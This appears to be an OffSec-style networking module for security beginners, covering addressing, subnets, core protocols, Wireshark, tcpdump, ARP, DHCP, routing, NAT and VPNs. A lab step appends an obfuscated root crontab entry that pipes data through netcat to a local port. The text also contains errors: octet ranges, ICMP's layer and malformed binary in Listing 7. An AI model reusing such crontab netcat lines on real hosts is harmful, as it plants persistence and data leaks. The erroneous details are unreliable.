addresses. Because there are so many potential MAC addresses, they
are theoretically globally unique. The first half of the MAC address
doubles as an Organizationally Unique Identifier (OUI),[173] which
also helps to ensure uniqueness.
When one device wants to send information to another device on the
network, it includes both its own MAC address and the MAC address of
the intended receiver in each frame. This is all fine and well, but we
quickly encounter a problem: machines do not inherently know the MAC
addresses of other machines on their network! This is where Address
Resolution Protocol (ARP) comes in, and we'll learn a little bit
about how it works below.
Ethernet cables are so common that manufacturers have started to build
ports into all manner of physical devices, including routers, modems,
PCs, and even keyboards!
Recall that the Internet Layer is used when we want to allow devices
to connect across networks. The Internet Protocol (IP) is the
workhorse of TCP/IP in allowing this to happen.
The way that IP does this is through the use of IP addresses.[174]
Let's examine how to construct an IP address.
Note that for this Module, we'll be using the term "IP address"
to mean IPv4 addresses. IPv4 is the fourth version of IP, and the
one most commonly used today. While IPv6 has seen wider usage more
recently, it has not yet reached the point where it is helpful for a
beginning security professional to start learning about networking via
IPv6. In addition, many of the concepts about IPv4 will apply to IPv6
as well. If still curious, we have included some resources at the end
of the section.
To build an IP address, we take four octets[175] and concatenate
them to form a 32-bit integer. For each of the four octets, a number
between 1 and 255 is chosen. These values are called octets because
2^8 = 256. An example of an IP address is 192.168.127.16.
Since each octet is independent of the others, this addressing scheme
can allow us to create 2^8^4, or 2^32 addresses, which is just
shy of 4.3 billion possible values!
At this point, you may be thinking: "Wait a moment, 4.3 billion is a
lot of addresses, but there are way more than 4.3 billion devices on
the planet. There aren't enough addresses for everyone!"
There are a few ways by which IPv4 solves this problem. One of them
is called Network Address Translation, or NAT, and we'll learn
more about that later. Another way of solving the problem is by
the use of something called a subnet mask. A subnet mask uses the
same numerical format as an IP address, so it can get a little bit
confusing. Like IP addresses, they are also built by concatenating
four octets. Unlike IP addresses, they usually start with the value
"255" (for example, 255.255.255.0, or 255.255.0.0).
Each network is assigned a subnet mask, which helps define what IP
addresses are allowed to exist within that same network.
Understanding the complete details of how subnet masks work is beyond
the scope of this Module. We'll provide a brief introduction, as
well as some extra resources[176]^,[177]^,[178] to
supplement your understanding.
We first need to notice that the IP addresses we mentioned earlier
are only written down as octets for convenience and legibility. An IP
address can also be represented as a simple 32-bit binary number. Here
is the address from earlier (192.168.127.16) written as binary:
11000000101010000111111100010000
Listing 1 - 192.168.127.16 in binary
We can add back in the periods between each byte for legibility:
11000000.10101000.01111111.00010000
Listing 2 - 192.168.127.16 in binary, separated into bytes
Next, we realize that subnet masks can be represented in the same format. The subnet
mask 255.255.255.0, for example, would be:
11111111.11111111.11111111.00000000
Listing 3 - 255.255.255.0 in binary
As mentioned above, the purpose of subnet masks are for machines to
know if they are on the same network, or not. When we line up the bits
of an IP address with the bits of a subnet mask, we can infer which
machines can also be on that network:
192.168.127.16 = 11000000.10101000.01111111.00010000
255.255.255.0 = 11111111.11111111.11111111.00000000
Listing 4 - 192.168.127.16 and 255.255.255.0 converted to binary
To tell which other machines can be inside this network, we need to
take two steps. First, we look at the bits of the subnet mask that are
zeros. The zero-bits of the subnet masks do not constrain potential IP
addresses.
Since the last byte of our subnet masks are all zeros, any IP
addresses that ends with any byte is allowed in the network (as long
as they do not conflict with other rules). In other words, we know
that IP addresses that looks like this will be allowed:
X.X.X.1 - 255
Listing 5 - IP address format
However, we still don't know what rules will constrain the first three
bytes.
The second part of the subnet mask we need to look at are the
one-bits. The one-bits tell us that every corresponding bit of any
two IP addresses inside the network must match.
Since all the bits of the first three bytes of the subnet mask are
ones, the only IP addresses allowed in this network are those with
the bytes 192.168.127 as the first three. For example, the IP address
192.168.128.16 would not be allowed in our network. We can visualize
this by laying out the two IP addresses with the subnet mask.
192.168.127.16 = 11000000.10101000.0 1111111.00010000
192.168.128.16 = 11000000.10101000.1 0000000.00010000
255.255.255.0 = 11111111.11111111.1 1111111.00000000
Listing 6 - 192.168.128.16 does not fit the mask
We note that the bit in the 17th place does not match between the two
addresses.
The IP address 192.168.127.17 would fit in our network:
192.168.127.16 = 11000000.10101000.01111111.000100000
192.168.127.17 = 11000000.10101000.01111111.000100011
255.255.255.0 = 11111111.11111111.11111111.000000000
Listing 7 - 192.168.127.17 fits the mask
The bit in the 32nd place doesn't match, but they don't need to
because the corresponding bit of the subnet mask is a zero.
To refer to subnets more concisely, we can use something called
Classless Inter-Domain Routing (CIDR) notation. For example, the
CIDR notation for a network with a 255.255.255.0 subnet mask is "/24",
because there are 24 one-bits in the mask. Likewise, 255.255.0.0
subnet masks belong to "/16" networks, and 255.0.0.0 subnet masks
belong to "/8" networks.
It is possible to have subnet masks with bytes other than 255, or
a full byte of one-bits. To accurately calculate the CIDR value for a
subnet mask with values other than 255, it is necessary to convert the
octets into binary, and then to count the number of 1's that appear in
the full binary string.
While IP takes care of routing messages to and from systems across
different networks through IP address, Transport level protocols
try to make sure that the messages get to their intended destination
on time, and in the right order.
TCP is perhaps the most common Transport layer protocol. It enables
two-way communication by establishing a session between machines. A
TCP session is initiated by what's called the Three Way Handshake.
Here is how it works:
Step 1: Machine A send a packet with a flag called SYN (or
synchronize) to Machine B.
Step 2: Machine B receives the SYN flag, and sends back a packet
with the SYN-ACK flag to acknowledge Machine A.
Step 3: Machine A receives the SYN-ACK and finally sends back an
ACK flag to acknowledge Machine B.
With these three steps, both machines know reliably that each of them
are receiving each others' messages. The session is now open, and the
two machines can now send segments back and forth.
In addition to the feature of robust sessions, TCP adds the concept
of ports. Whereas an IP packet requires the sender to specify an IP
address, a TCP segment requires the sender to specify a port number
between 0 and 65535 (2^16 - 1). Ports 0 to 1023 are considered
well-known ports, and are frequently used by extremely popular
network services. Essentially, TCP ports allow a machine to open up
multiple communication sessions at the same time.
Some network services do not require the reliable two-way
communication provided by TCP, and simply need to send and receive
one-way messages. Instead of going through the work of establishing a
session, a machine transmitting via UDP simply sends its message and
assumes that the other machine received it.
Here is an analogy to help understand the differences between TCP and
UDP. Think of TCP like telephone calls: To start a telephone call,
you dial a number, and the cellular or cable service negotiates the
connection (or session) between you and the receiver. Once the session
is established, you can freely communicate with the other party.
In most cases you are immediately aware if the session closes, for
example if your partner hangs up on you.
On the other hand, UDP is more similar to snail mail. When you send a
letter in the mail, you simply drop your message in a mailbox. Then,
you just assume that the postal service protocol will deliver your
letter. You do not know if or when the recipient will receive it.
They could write back to keep you informed of the reception, but they
need not do so. Unlike phone calls and letters, UDP is significantly
faster than TCP. It gives up TCP's reliability and in return receives
speed. Like TCP, UDP also defines 65535 ports.
We have now covered several lower-level protocols in the TCP/IP stack.
These next sections very briefly touch on some of the most common
Application protocols.
HTTP is the protocol of the web. It specifies rules for
web clients to retrieve content from web servers. HTTP most
commonly uses port 80. Traditionally, web browsers would use port
80 as the default port if left unspecified in the URL. However,
recently[179] browser developers have started to set the
default port to 443, which often runs an encrypted of HTTP, called
HTTPS. We'll learn more about the differences between HTTP and HTTPS
in future Modules.
HTTP uses a series of requests generated by a client and responses
generated by a server to enable flexible and efficient communication.
HTTP (and it's encryption-enhanced sister HTTPS) are so important to
security that we'll dedicate a full Module to understanding it later.
FTP allows a client to connect to, browse, send, and retrieve files
to, and from, a server. FTP is useful to know about from a security
perspective, because it enables means of discovering information that
may not be as heavily monitored or hardened as other network services.
When using TCP, FTP usually operates on port 21. FTP is considered
a fully session-oriented protocol, because once a connection is
established, the client can continue to interact with the server until
the session is terminated.
UDP has an FTP counterpart, which runs on port 69, called TFTP. Unlike
FTP, TFTP simply allows the one-off transfer or retrieval of files.
We'll leave it as trivia for the student to research what the T in
TFTP stands for.
SMTP is one of several application layer protocols dedicated to
e-mail. As with other protocols, SMTP describes a conversation or
negotiation between two parties: a sender and a receiver. When an
email is written, the first thing that happens after hitting send
is that the message gets transferred from the sender's local device
to their remote mail server.[180] Then, this outgoing mail server
negotiates with the recipient's incoming mail server. SMTP describes
the way that the two mail servers need to interact to validate each
other's role in the communication process.
SMTP governs the communication from a sender to their mail server, and
from their mail server to that of the recipient. In other words, it is
used only to send e-mail. Other protocols describe how e-mail can be
retrieved from a mail server by a recipient. SMTP also tends to run on
a special well-known port, port 25.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes.
When data moves across a network, it is sent and received in units
called packets. We can think of a packet as a small container that
includes both a message as well as meta-information about the message.
The transfer of many packets across a network is called network
traffic. Crucially, network traffic can be sniffed or captured via
Packet Capture tools.
Several different tools can help us intercept and log network traffic.
These can be useful to both attackers and defenders. For example, an
attacker might use such a tool to gain unencrypted authentication to
a web server. Meanwhile, a defender might use the same tool to detect
the attacker's presence on the network.
Many packet capture tools can save data for later use, often using
the .pcap[181] file format. This can be very helpful,
especially because a pcap generated on one device can then be opened
up and analyzed on another device or even a different operating
system.
The Libpcap, Winpcap, and Npcap software libraries implement
packet capture functionality. These libraries are what will allow us
to the save captured traffic to .pcap files. Files containing
captured network traffic are usually referred to simply as "pcap
files", without the dot.
Wireshark is a flexible application that can be used to capture
network traffic. It is usually used via its streamlined Graphical
User Interface (GUI), but it also has a command line version called
tshark.[182]
Wireshark can be used to listen to, or sniff, network traffic
live, and it can also be used to analyze a previously generated
pcap file.
To start Wireshark via the Kali GUI, click on the dragon icon at the
top left of the desktop. Navigate to 09 - Sniffing and Spoofing, and
then select Wireshark.
We can also start Wireshark from the Kali command line with the
following command.
kali@kali:~$ sudo wireshark
Listing 8 - Running Wireshark from the terminal
Note: If you are using the Browser-Based Kali VM, you will need
to use the -E flag to preserve environment variables. The
command sudo -E program tells bash to run "program" with root
privileges, but with the current user's environment variables. This
allows us to run Wireshark as root within the Browser-Based VM, since
it must do so to properly capture packets.
When Wireshark starts up, we are presented with an interface that
allows us to apply a display filter or enter a capture filter. Filters
allow us to control which data packets we want to intercept, observe,
and analyze.
We'll explore capture filters[183] first. These will
allow the user to decide which data they want Wireshark to store.
For example, if we want to only capture data traveling to/from a
specific IP address, we can use the host capture filter host
192.168.12.34.
Using a capture filter tells Wireshark to include only the data that
conforms to the filter's definition. This means that any data that
passes through the network that does not fit the filter's definition
will be lost.
We can also select from a set of pre-defined capture filters by using
Wireshark's default list. Click Capture on the toolbar (or use
E+c) to open the Capture menu. Then click Capture
Filters..., and the following will is displayed.
The terms in the above window may be unfamiliar at the moment, but by
the end of this Module, we will review most of them. Note that you can
save our own capture filters to this list by hitting the + button on
the bottom left of the window.
For now, let's click the Cancel button to return to the previous
screen.
Before we continue, we need to first take a brief detour and learn
what a network interface is, since we'll be filtering traffic
based on it. A network interface (or just interface) is a physical
or virtual device that allows machines to connect to each other. For
example, the eth0 network interface on Linux represents the network
card that is physically installed into a computer. This interface is
often used by the OS to reach hosts on the Internet through a Local
Area Network (LAN).[184]
Meanwhile, the tap0 and tun0 interfaces can reach machines across a
Virtual Private Network (VPN).[185]
We will cover network interfaces in more detail later. For now, we're
going to capture network traffic on our own Internet connection. Let's
select eth0 or any in the list of interfaces. In the Capture
Filter field, we will type "host www.offensive-security.com" and
hit I. Note that when using a domain name rather than an
IP address, Wireshark may take five to ten seconds to confirm that
the capture filter is valid. We'll learn more about the differences
between domain names and IP addresses in a later Module.
If you are working on your own local Kali VM, you may be asked
to enter your physical host machine's password. This is because
monitoring traffic is usually a high-privilege activity.
The following screenshot depicts the window we see once we begin our
capture.
Despite the several blank screens, there are a few items to notice.
First, the normally blue Wireshark icon is now green. This helps
reminds us that Wireshark is listening to traffic, even if nothing
appears to be captured, yet. We can also recall which interfaces are
being listened on and which capture filters are applied by reading the
application's title bar.
Next, let's capture some data by generating network activity with
Firefox. Click the Kali menu, and select Web Browser in the right
column. This will open Firefox by default. Once Firefox is open,
type "www.offensive-security.com" in the navigation bar, and hit
I.
Looking back at the Wireshark screen, we notice that many lines are
filled out. Each line represents one packet that's been generated
by our web request. We may have only expected a few packets to be
generated, but we have quite a few. It's important to note that a
simple web request can generate so much traffic.
From the attacker's perspective, it's critical to realize that one's
movements can easily be tracked by defenders. For defenders, it's
equally crucial to understand how much data is being given away to
someone sniffing the network traffic. This reinforces the point that
Wireshark is a powerful tool both defensively and offensively.
Let's stop the packet capture by closing Wireshark. You will have the
option to save the packet capture, or to quit without saving it.
Now that we have Wireshark listening to traffic traveling to or from
http.kali.org, let's filter the packets we can monitor in the UI
with Display Filters.[186] Unlike a capture filter, a display
filter does not affect what data Wireshark intercepts. Instead, it
simply applies a temporary mask on packets that do not fit the defined
criteria. We can also choose a filter from a predefined list by going
to the Analyze menu (or using the E+a), and then
selecting Display Filters....
In the Display Filter field, let's type http and hit
I to apply a display filter that only shows Hypertext
Transfer Protocol (HTTP) packets. We'll cover what exactly HTTP is
in a later Module. For now, think of HTTP as the part of the Internet
that lets you view and interact with web sites.
In the above image, we have selected the packet that contains the text
visible in the Firefox browser. See if you can find the corresponding
packet in your own packet capture.
The Wireshark graphical display has three main sections:
The top section allows us to select which packet we want to analyze.
The packet we pick will change the context of the middle and bottom
sections.
The middle section allows us to analyze a specific packet at multiple
levels, depending on the protocol we are interested in. We'll cover
this concept of protocol layers in more detail later.
Finally, the bottom section allows us to inspect the raw contents of
the selected packet in hexadecimal format, along with a translation to
ASCII[187] (where available).
When we're done with our capture, we can save it to a file. The
capacity to save and load pcaps gives us quite a bit of versatility.
For example, we may want to save some traffic during a wireless
security engagement so that we can analyze traffic from our office
later. To save a packet capture, navigate to File > Save (or
press C+s).
To follow along with the next sections and complete the exercises, you
will need to download a set of pcap files to your Kali machine.
Let's close and re-open Wireshark. This time, instead of listening
to live traffic, we will navigate to File > Open (or press
C+o) and then select the statistics.pcap
file from your file system.
For the next set of exercises, we'll make use of the Capture File
Properties feature, which provides a high level overview of the
current pcap. There are three ways to open the Capture File Properties
window. You can click on the small properties icon on the bottom left
of Wireshark, you can navigate to Statistics[188] > Capture File
Properties, or you can use the key sequence E+s and
then C+E+B+c.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 95 minutes.
In this Learning Unit, we'll continue learning about more advanced
features in Wireshark as well as begin exploring Tcpdump.
So far, we have been using Wireshark to view network traffic
sequentially in the order that the packets traveled over time.
However, we are often more interested in streams[189] of data
between various clients and servers. Selecting a data stream tells
Wireshark to apply a specific kind of display filter that allows us
to view the conversation between a client and a server. Wireshark has
a powerful ability to reassemble a specific session and display it in
various formats.
In Wireshark, open the flow_and_export.pcap capture file.
First, let's click through the packets sequentially and determine
if we can figure out what happened in this session. Unless you are
already familiar with reading packets, it may take some time before it
is evident. This is a situation where using a data stream will be very
useful. Once a data stream is reassembled, it is much easier to read
the history of the session.
First, right click on the first packet in the capture, and select
Follow > TCP Stream. A new window will open up, where we can
observe that a user seems to have logged in successfully to some
service.
On the right hand side, just above the Find Next button, we can
select other data streams captured in the current pcap. By quickly
reading through each of the streams, we can get a nice high-level
overview of the network activity that generated our pcap.
Wireshark can export[190] data found within a packet capture. This
is a fancy way of saying that we save and review various types of data
that can help us on a penetration test, or with defending our network.
For example, if we are interested in only a few specific packets in
our capture, we can use the File > Export Specifed Packets... menu
to save a new, smaller pcap file.
Wireshark has a very wide range of data types that can be exported.
One of the most interesting set of options from a security perspective
is the ability to export objects. By exporting an object, we can
recreate and save any files of interest that have been transferred
during recording of the pcap. Within the File > Export Objects
menu, we find that Wireshark supports exporting objects for a number
of application layer protocols. By clicking on a protocol, Wireshark
will scan and display all identified objects in that protocol's data
streams. We can then save whichever objects we'd like to further
assess to our local disk.
Tcpdump[191] is a command-line (or CLI) based network sniffer
that is surprisingly powerful and flexible despite the lack of a
graphical interface. It is by far the most commonly-used command-line
packet analyzer and can be found on most Unix and Linux operating
systems.
To open it, we can try to run tcpdump on the command line.
kali@kali:~$ tcpdump
tcpdump: eth0: You don't have permission to capture on that device
(socket: Operation not permitted)
Listing 9 - Running tcpdump with low privileges
Unless your Kali machine is configured to allow low privilege network
capture, tcpdump will not run and will output an error message similar
to the one above. We can notice a few things from this error message.
First, we can see that tcpdump is attempting to listen on the eth0
interface. This is useful for our current purposes, but we may want
to learn how to specify an interface to listen on later. Second,
we notice that we don't seem to have permission to capture network
traffic as the kali user.
As with Wireshark, permission configurations on a device will
determine a specific user's ability to capture network traffic with
tcpdump. To run tcpdump as root, we will need to use the
sudo prefix.
kali@kali:~$ sudo tcpdump
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Listing 10 - Running tcpdump with root privileges
By default, tcpdump will capture live traffic passing through the
network when it is run with no switches. Like Wireshark, it can also
read and analyze existing capture files. To load a capture file with
tcpdump, use the -r switch and specify the path to the file
you wish to open on your local machine.
Tcpdump allows us to filter data in much the same way as Wireshark.
For example, we can use the source host (src host) or
destination host (dst host) filters to output only source or
destination traffic respectively.
Note that source refers to where a packet originates from, and
destination indicates where it went.
We can also filter by port number (port XYZ) to show traffic
against a given port, or by protocol name like FTP or HTTP. It is also
possible to negate a specific filter by using the not keyword. Using
the not keyword allows us to tell tcpdump to intercept all data that
is not constrained by our definition.
One of the most compelling reasons to use a command-line tool like
tcpdump over a graphical interface like Wireshark is because the
command-line can offer a nearly unlimited amount of flexibility.
When running tcpdump, we also need to save the packets we are
recording. To do that we need to use the -w switch. This will
allow us to analyse the packets either with tcpdump or Wireshark. Once
we have the file recording, we need to press C+c.
Since tcpdump input and output is just text, we can pipe it to or
from other commands. This can be extremely powerful. For example,
we can pipe tcpdump into the wc -l command to easily count
the number of lines output by a capture. Alternatively, we can pipe
tcpdump into the cat -n command to display line numbers.
Next, let's listen to some network traffic using the loopback
network interface. Loopback is a special network interface that allows
our local machine (also called localhost) to run network services
without exposing them remotely. It is mainly used for diagnostics
and troubleshooting. By default, localhost resolves to the IP address
127.0.0.1.
We are going to start a cronjob that will attempt to connect to
a specific port on our local machine, and then we'll send it an
arbitrary string of text data. As the root user, copy the following
command into your terminal.
root@kali:~# echo "* * * * * kali echo OS{`echo -n offsec123 | md5sum | cut -c 1-32`} | nc -u 127.0.0.1 $(( 53 * 98 - 195 ))" >> /etc/crontab
Listing 11 - Starting a cronjob
Since the purpose of this section is to understand networking and
tcpdump, not Bash, we won't go into great detail about what this
command sequence is doing.
Note that we have slightly obfuscated the command so that it isn't
immediately clear what values will be outputted. While we don't
recommend it, you could skip through the next set of exercises by
taking a peak at the /etc/crontab file, since it holds the
output of this command. We will, however, remind you that there are
sadly no shortcuts when learning, and you will benefit a great deal by
not skipping ahead.
To conclude our section on packet captures, we've seen how tools like
Wireshark and Tcpdump can help us intercept, save, and analyze network
traffic. We've learned how to apply various kinds of filters and flags
to increase our chances of finding data that we're interested in.
Finally, we've also started to understand a little bit about network
interfaces.
On your Kali Linux VM, echo the provided command to /etc/crontab
and then use tcpdump to capture network traffic on the local network
interface. Make sure to capture traffic for more than one minute, or
until you see some output from tcpdump.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 90 minutes.
In this Learning Unit, we'll cover protocols which are not necessarily
the main players of the TCP/IP stack, but which do perform key support
roles that enable the whole suite to work well together.
The Address Resolution Protocol (ARP) is designed to associate
Network Layer addresses to Link Layer addresses. In this case, we're
concerned with IP addresses and MAC addresses. This allows switches to
transmit Ethernet frames to their intended destination devices on a
Local Area Network (LAN).
We may recall that machines do not inherently know each other's MAC
addresses. ARP allows them to communicate by specifying rules that
they can follow to learn which IP address belongs to each MAC address.
Machine A begins the protocol by broadcasting a frame containing
three pieces of data:
The source, which is the machine's own MAC address.
The destination, ff:ff:ff:ff:ff:ff as the destination. This is a
special address meaning broadcast and allows every machine on the
network to receive the frame.
A string, which when roughly translated into English is equivalent
to: "Who has the IP address belonging to Machine B? Please tell
Machine A."
Machine A sends this frame and then Machine B receives it. Because of
the information included in the broadcasted frame, Machine B now knows
the MAC address of Machine A. Machine B then responds with its own
frame, which also contains three pieces of data:
Its MAC address as the source.
Machine A's MAC address as the destination.
A string, which again roughly translated into English says: "My IP
address is at this MAC address."
Machine A is now aware of Machine B's IP and MAC addresses, and it
stores that information in its ARP cache. When it want to send
subsequent frames, it can now look up the correct information inside
the cache. Machine B can then initiate the same procedure to learn and
store Machine A's addresses.
ARP has its own command, arp, that allows it to display or
manipulate the network cache. Let's examine what the default ARP table
is for our Kali VM.
kali@kali:~$ arp
Address HWtype HWaddress Flags Mask Iface
192.168.52.254 ether 00:50:56:86:3d:ec C eth0
Listing 12 - Viewing the ARP table
There are instances where it may be required to manually add an
address to the table.
kali@kali:~$ sudo arp -s 10.0.0.2 AA:BB:CC:DD:EE:FF
Listing 13 - Adding to the ARP table
Likewise, we can use the same command to remove an address from the
table.
kali@kali:~$ sudo arp -d 10.0.0.2
Listing 13 - Deleting from the ARP table
Understanding how ARP works is very helpful when learning about the
Man In The Middle (MITM) attack, called ARP spoofing.[192]
The Internet Control Messaging Protocol (ICMP)[193] operates at
the Transport layer of TCP/IP. It plays a crucial support function:
when there is a problem with the reception of data, it alerts the
sender with various kinds of error messages. It generally does not
transmit data itself, aside from these error codes.
ICMP[194] usually operates in the background of networking
activities, and is not often invoked directly by an end user. One
important exception to this is the act of pinging a machine. Ping
is a fairly ubiquitous tool that repeatedly sends ICMP messages to
a target. This can allow us to test network connectivity by letting
us know if we're able to reach the destination. It also tests for
the latency[195] of connectivity between the two machines.
It measures both the time it takes for the ICMP packet to reach its
destination and the time it takes to receive an acknowledgment. These
values are summed together and provided back to the sender, usually in
milliseconds.
The Dynamic Host Configuration Protocol (DHCP)[196] helps make
sure that any new machines that join a network can negotiate with
existing machines to receive a properly configured and unique IP
address. Unlike ICMP, it takes an active role in preventing issues
rather than simply reporting on them.
DHCP[197] achieves its goal via centralization. A DHCP server is
used to assign an IP address to each host that joins its network.
We can think of the DHCP server as handing a sort of ticket to each
machine. Each ticket contains a unique number, and only remains valid
for a predetermined amount of time.
DHCP behaves similarly. Every machine that joins the network receives
a unique IP address, and is only allowed to keep it, or lease it,
for a defined time before it must check in with the DHCP server to
revalidate.
The process begins with a computer getting on the network and asking,
"Any DHCP servers here?". This is called the DHCP Discover.
The DHCP server responds with a DHCP Offer. Essentially, "I'm here and
I can give you the IP address 192.168.1.11" (OR whatever IP address is
available).
The computer responds with and DHCP Request, "Sure, thanks."
Finally, the DHCP server responds with a DHCP ACK. This assigns
the IP address and it tells the computer the network's subnet mask,
its default gateway address, and its Domain Name Server (DNS)
address(es). It also tells the computer how long it has the IP address
before needing to revalidate.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 115 minutes.
This Learning Unit covers various important network technologies,
including routing tables, firewalls, Address Translation, and virtual
private networks (VPNs).
Let's say that Alice wants to send a message to Bob, but they are
not on the same network. As a simplified example, Alice will send her
message via her host machine, which will pass on the information to
her router. Alice's router will forward it to Bob's router, which will
finally send the information to its final destination, Bob's machine.
We say that there are three hops between Alice and Bob, because it
took three different transmissions to get the information packet to
its destination.
Alice's router needs to know where to send the data. For this, it
will use something called a Routing Table.[198] Routing tables help
machines determine how they can send information to other hosts that
they may not have a direct connection with. True to its namesake,
a routing table is simply a table of rows and columns that contain
important information about the next hops on the network. A routing
table essentially describes a chart for how its router (or network
host) can reach an array of potential destinations in the most
efficient manner, by making use of the least number of hops possible.
Routing tables can be used to direct traffic within a network, or
across multiple networks. For the latter, routing tables can include
both static and dynamic data. Static routes are simply hardcoded
addresses, whereas dynamic routes are learned by a machine or router
through some networking protocol (for example, DHCP).
We can view both Windows and Linux based machines' routing tables via
the route command. Let's check out the default routing table
on the browser-based Kali VM.
kali@kali:~$ route
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.52.254 0.0.0.0 UG 100 0 0 eth0
192.168.52.0 0.0.0.0 255.255.255.0 U 100 0 0 eth0
Listing 14 - Checking a route table on Kali
The first line of output indicates that any traffic received by the
machine that is not in the 192.168.52.0/24 range gets forwarded to
the default gateway, 192.168.52.254. (We know that it is /24 because
earlier we learned that the CIDR of 255.255.255.0 is /24.) That
gateway then takes care of forwarding the packets farther. Any traffic
destined for 192.168.52.0/24 gets forwarded to 0.0.0.0, which means
the traffic does not travel any farther.
0.0.0.0[199] is a special IP address that usually designates an
unknown or unroutable destination. However, its use in routing tables
indicates the default route that traffic should take unless specified
by another entry in the table.
In other words, our VM can reach any machines on the 192.168.52.0/24
subnet. Any machines on that subnet can reach it too, all without the
help of a router, because they belong to the same network class.
Additionally,, we cannot reach any other subnets or networks directly.
All the traffic generated on the VM that doesn't specifically match
the second line goes out to the default gateway. The default gateway
(a simple router or a firewall) will then decide which packets to
forward and to where. We'll discuss firewalls shortly.
Firewalls[200] receive, and then drop or allow, incoming and outgoing
traffic to pass through a network based on rules defined by a system
or network administrator.
We can think of a firewall as a border guard. It sees all traffic
directed at it, and then decides if it will allow the traffic to pass
through onto its destination, or if it will prevent the traffic from
further travel.
The most common type of firewall is a packet filter, which
essentially takes in each packet it receives and decides if the
packet should continue on its journey (or not). The rules it uses to
determine the fate of each packet are captured in an Access Control
List (ACL).[201]
ACLs have several applications for security. For example, they
are often used to determine permissions on a filesystem[202] or to
determine access levels on an Active Directory domain.[203] In the
context of firewalls, ACLs are simply lists of rules that express
if a packet originating from some source and/or directed to some
destination should pass through or not. There are slightly more
complex rule sets available (depending on the implementation) rather
than just drop or accept. For example, a firewall's ACL may
specify a reject rule, that drops a given packet but also sends
a message to the originator to let them know that their packet was
rejected.
Firewalls can be used to control traffic on a particular machine,
or to control traffic throughout a network. For example the
iptables[204] program included on Kali and other Linux
distributions is a host-based firewall that allows the user to
administer various rules that dictate how traffic is handled by the
machine. We'll look into how to use iptables in a later Module.
Network-based firewalls, on the other hand, can also be implemented as
software running on a dedicated host, but they can also be implemented
as special standalone hardware devices.
Earlier, we mentioned that subnet masks help IPv4 resolve the problem
of having too few addresses to fit the Internet's demand. Network
Address Translation (NAT) is another tool used by IPv4 to increase
the amount of IP addresses possible.
NAT works by creating a one-to-many map between private IP
addresses and public IP addresses. First, let's discuss this notion
of private IP addresses. Certain ranges of the IPv4 address space
are reserved for private use. Essentially, this means that anyone can
create private networks using these addresses, because they do not in
themselves connect to the Internet. These ranges are:
10.0.0.0/8
172.16.0.0/12
192.168.0.0/16
This is why the machines you connect to via the Offsec Labs are in the
192.168.0.0/16 address space.
Let's say we create a network of three machines in the 192.168.10.0
subnet:
M1: 192.168.10.1
M2: 192.168.10.2
M3: 192.168.10.3
Let's use the IP address of 192.124.249.5.
These machines are sitting on our private network, behind NAT. When
any of these machines attempt to connect to a public IP address
(assuming routing and firewall rules allow such traffic), a few things
will happen.
First, the machine (lets say M1) will send a packet to its
intended destination, 192.124.249.5. The packet's header will contain
M1's own IP address as source, as well as the IP address
192.124.249.5 as destination.
Second, the network's default gateway will receive the packet. It
will overwrite the source IP address with the gateway's public IP
address.
Third, the gateway will send the modified packet over to
192.124.249.5. The gateway will also remember the original source IP
of the packet, so that when any returning traffic is received, it can
redirect the traffic appropriately by overwriting the destination
IP.
NAT greatly increases the amount of addresses that can communicate on
the Internet but it also has some important implications for security.
Since the default gateway will overwrite all source IP addresses
by its public address, any traffic passed through the gateway looks
like it is coming from the gateway itself. This helps protect the
internal IP addresses, since it is difficult for a given destination
to know what the "real" source IP address is. On the flip side, NAT
can make it difficult to attribute traffic for network and system
administrators outside of a private network.
Port Address Translation (PAT)[205] is an extension of NAT, where
each system within a private network is assigned a specific port
number between 0 and 65535. When the network's gateway receives a
packet from M1, it will overwrite the source IP address
with its own, just as it would with standard NAT. In addition, it
will overwrite the source port with M1's dedicated port
number as well. This way the receiver can tell the difference between
a packet coming from M1 and a packet coming from another
machine (M3, for example), because their source ports will be
unique.
A Virtual Private Network (VPN) essentially allows for the creation
of a private network that acts as a dedicated tunnel within another
public network (i.e the Internet). This can let network administrators
host, provide, and access resources that are not open to the public
network, while also maintaining public network connectivity.
A VPN can be accessed remotely via several authentication protocols.
For example, the VPN used to access the labs employs certificate-based
authentication. We'll learn more about certificate-based
authentication in the later Module. VPNs can also be configured to
allow traditional credential-based authentication, as well as a
combination of both.
When a user authenticates to a VPN, their host is provided with a new
virtual network interface. That interface, typically called tun0
or tap0 is provided with one or more routes to the private network.
The host can now communicate with machines residing on that network,
pending any rules controlled by the VPN's firewall.
In Kali, we can connect to a VPN using a VPN pack or .ovpn
file. This file contains several pieces of information about the
network, as well as any certificates or keys required to connect.
Lets take a look at a .ovpn file used to connect to the
labs.
kali@kali:~$ cat vpn_config.ovpn -n
1 persist-tun
2 persist-key
3 tls-client
4 client
5 resolv-retry 5
6 connect-retry-max 1
7 explicit-exit-notify 1
8 remote-cert-tls server
9 nobind
10 remote-random
11 dev tun
12 cipher AES-128-CBC
13 ncp-ciphers AES-128-GCM
14 auth SHA1
15 remote pg-pool1.offseclabs.com 1194 udp
16 remote pg-pool2.offseclabs.com 1194 udp
17 verify-x509-name "offensive-security.com" name
18 <ca>
...
Listing 15 - Reading the contents of a .ovpn file
Even if we don't know what each of these lines means, we can glean
a few tidbits that stand out. For example, we can tell from line 14
which authentication algorithm is being used by the VPN, and line 15
and 16 tell us which domain name and port to connect to.
We can connect to the VPN by supplying the openvpn client
with the name of the VPN pack.
kali@kali:~$ sudo openvpn vpn_config.ovpn
2021-04-27 16:44:27 Note: Treating option '--ncp-ciphers' as '--data-ciphers' (renamed in OpenVPN 2.5).
2021-04-27 16:44:27 DEPRECATED OPTION: --cipher set to 'AES-128-CBC' but missing in --data-ciphers (AES-128-GCM). Future OpenVPN version will ignore --cipher for cipher negotiations. Add 'AES-128-CBC' to --data-ciphers or change --cipher 'AES-128-CBC' to --data-ciphers-fallback 'AES-128-CBC' to silence this warning.
2021-04-27 16:44:27 OpenVPN 2.5.1 x86_64-pc-linux-gnu [SSL (OpenSSL)] [LZO] [LZ4] [EPOLL] [PKCS11] [MH/PKTINFO] [AEAD] built on Feb 24 2021
2021-04-27 16:44:27 library versions: OpenSSL 1.1.1j 16 Feb 2021, LZO 2.10
